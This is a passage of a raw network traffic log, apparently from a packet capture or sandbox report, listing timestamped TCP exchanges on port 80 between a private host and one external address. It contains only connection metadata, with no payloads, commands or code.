Nov 9, 2021 22:21:32.835326910 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.082880020 CET	80	49838	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.135555983 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.136509895 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.137553930 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.478722095 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.998820066 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.998907089 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.998945951 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.998987913 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999012947 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999017954 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.999053001 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999092102 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999130011 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999141932 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.999154091 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.999167919 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999207020 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:33.999207973 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:33.999327898 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299319029 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299370050 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299429893 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299472094 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299513102 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299549103 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299578905 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299611092 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299642086 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299683094 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299699068 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299716949 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299721003 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299760103 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299798965 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299820900 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299838066 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299879074 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299884081 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299916983 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.299937010 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.299966097 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.300008059 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.300031900 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.300070047 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.300095081 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.300102949 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.300108910 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.300163031 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600368977 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600441933 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600481987 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600523949 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600544930 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600574017 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600588083 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600605965 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600636005 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600651026 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600665092 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600696087 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600707054 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600727081 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600756884 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600768089 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600790024 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600819111 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600826979 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600869894 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600905895 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600907087 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600936890 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600965977 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.600970984 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.600996971 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601026058 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601035118 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601058006 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601089001 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601092100 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601118088 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601162910 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601167917 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601206064 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601243019 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601243973 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601280928 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601315975 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601319075 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601356983 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601392984 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601396084 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601432085 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601469994 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601469994 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601509094 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601545095 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601545095 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601583004 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601619005 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601620913 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601660013 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601691008 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601696968 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601727962 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601763010 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.601768017 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601808071 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.601844072 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.901977062 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902064085 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902093887 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902134895 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902174950 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902175903 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902204037 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902211905 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902251959 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902261019 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902292013 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902328968 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902357101 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902367115 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902432919 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902441978 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902487040 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902524948 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902566910 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902580976 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902590990 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902612925 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902631044 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902667999 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902683973 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902705908 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902744055 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902765036 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902781963 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902822971 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902832031 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902858973 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902898073 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902910948 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.902935028 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902971029 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.902988911 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903007984 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903044939 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903059006 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903081894 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903121948 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903136015 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903157949 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903197050 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903211117 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903234959 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903271914 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903285027 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903310061 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903347015 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903359890 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903383970 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903423071 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903431892 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903459072 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903496027 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903507948 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903534889 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903570890 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903585911 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903609037 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903645992 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903660059 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903685093 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903723955 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903731108 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903759956 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903798103 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903805971 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:34.903837919 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:34.903894901 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.203964949 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204018116 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204057932 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204096079 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204118967 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204135895 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204155922 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204175949 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204214096 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204242945 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204252005 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204291105 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204309940 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204327106 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204365969 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204380989 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204404116 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204442024 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204459906 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204480886 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204518080 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204536915 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204556942 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204596996 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204611063 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204633951 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204672098 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204689026 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204710007 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204747915 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204762936 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204787970 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204833031 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204866886 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204895020 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204935074 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.204958916 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.204974890 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205012083 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205029964 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205050945 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205089092 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205106020 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205125093 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205163002 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205178022 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205200911 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205241919 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205261946 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205282927 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205322027 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205352068 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205360889 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205399990 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205424070 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205437899 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205477953 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205492973 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205516100 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205554008 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205570936 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205593109 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205630064 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205646992 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205667973 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205705881 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205722094 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205744028 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205781937 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205796957 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.205818892 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.205872059 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.505970955 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506035089 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506073952 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506134033 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506191969 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506227016 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.506251097 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506253004 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.506313086 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506331921 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.506375074 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506428957 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506453037 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.506455898 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:35.506618023 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.875236988 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:35.875674009 CET	49839	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:36.175872087 CET	80	49839	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:37.644534111 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:37.944365025 CET	80	49855	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:37.944506884 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:37.944626093 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:37.945077896 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:38.244298935 CET	80	49855	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:38.244613886 CET	80	49855	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:38.934572935 CET	80	49855	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:38.937254906 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:38.937819004 CET	49855	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:38.968585014 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:39.237571001 CET	80	49855	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:39.265758038 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:39.265886068 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:39.266026020 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:39.266047955 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:39.563102961 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:39.563150883 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.242944956 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243304968 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243326902 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243349075 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243370056 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243398905 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243406057 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.243423939 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243443966 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243469954 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.243470907 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243493080 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.243552923 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.540950060 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571000099 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571017027 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571069002 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571069002 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.571096897 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571120024 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.571134090 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571161032 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571185112 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.571188927 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571218014 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571237087 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.571244001 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571269989 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.571285009 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.621625900 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.868340015 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899012089 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899058104 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899096012 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.899097919 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899138927 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899154902 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.899177074 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899216890 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899229050 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.899255037 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899291992 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899307966 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.899333000 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899370909 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899393082 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.899410009 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.899465084 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:40.918958902 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:40.965369940 CET	49861	80	192.168.2.4	47.74.84.15
